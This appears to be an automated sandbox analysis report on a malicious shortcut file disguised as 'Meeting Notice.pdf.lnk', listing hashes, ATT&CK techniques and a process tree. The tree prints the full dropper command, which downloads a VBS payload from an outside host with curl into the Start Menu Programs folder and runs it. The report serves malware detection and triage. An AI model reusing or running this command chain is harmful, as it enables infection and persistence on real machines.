35a7feb273ad532b79a5b9e0536642c23c888ec9338369b2159d6f42e2b626e7

Analysis

max time kernel
150s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
09/01/2024, 02:44

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General

Target

Meeting Notice.pdf.lnk
Size

2KB
MD5

6d7ef2269e65ddbf8c2bbdd2fbf75882
SHA1

3181a05a32bdc7e122f998370dc70fa36270caba
SHA256

408292710999abc4d37f23a6672ef407d70ffb4dc2e3e030a5ec705735c1f8bd
SHA512

aab16a284ed892e190b7f3153242bfba4b35d73228f83da01be749453b2837004d1bb27aedda7b1e9e922ded212d4c0a311867b315a17902f5aa337f26556b3d

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3820 wrote to memory of 3988	3820	cmd.exe	91
PID 3820 wrote to memory of 3988	3820	cmd.exe	91
PID 3988 wrote to memory of 4516	3988	conhost.exe	92
PID 3988 wrote to memory of 4516	3988	conhost.exe	92
PID 4516 wrote to memory of 4736	4516	cmd.exe	93
PID 4516 wrote to memory of 4736	4516	cmd.exe	93
PID 4516 wrote to memory of 2060	4516	cmd.exe	94
PID 4516 wrote to memory of 2060	4516	cmd.exe	94

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Meeting Notice.pdf.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3820
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" --headless cmd /c msg * "Corrupted" & curl --insecure http://adamsresearchshare.com/textcmd/cmd1.php -o "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\winegt.vbs" & "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\winegt.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3988
- - C:\Windows\System32\cmd.exe
    cmd /c msg * Corrupted & curl --insecure http://adamsresearchshare.com/textcmd/cmd1.php -o "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\winegt.vbs" & "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\winegt.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4516
  - - C:\Windows\system32\msg.exe
      msg * Corrupted
      4⤵
      PID:4736
  - - C:\Windows\system32\curl.exe
      curl --insecure http://adamsresearchshare.com/textcmd/cmd1.php -o "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\winegt.vbs"
      4⤵
      PID:2060

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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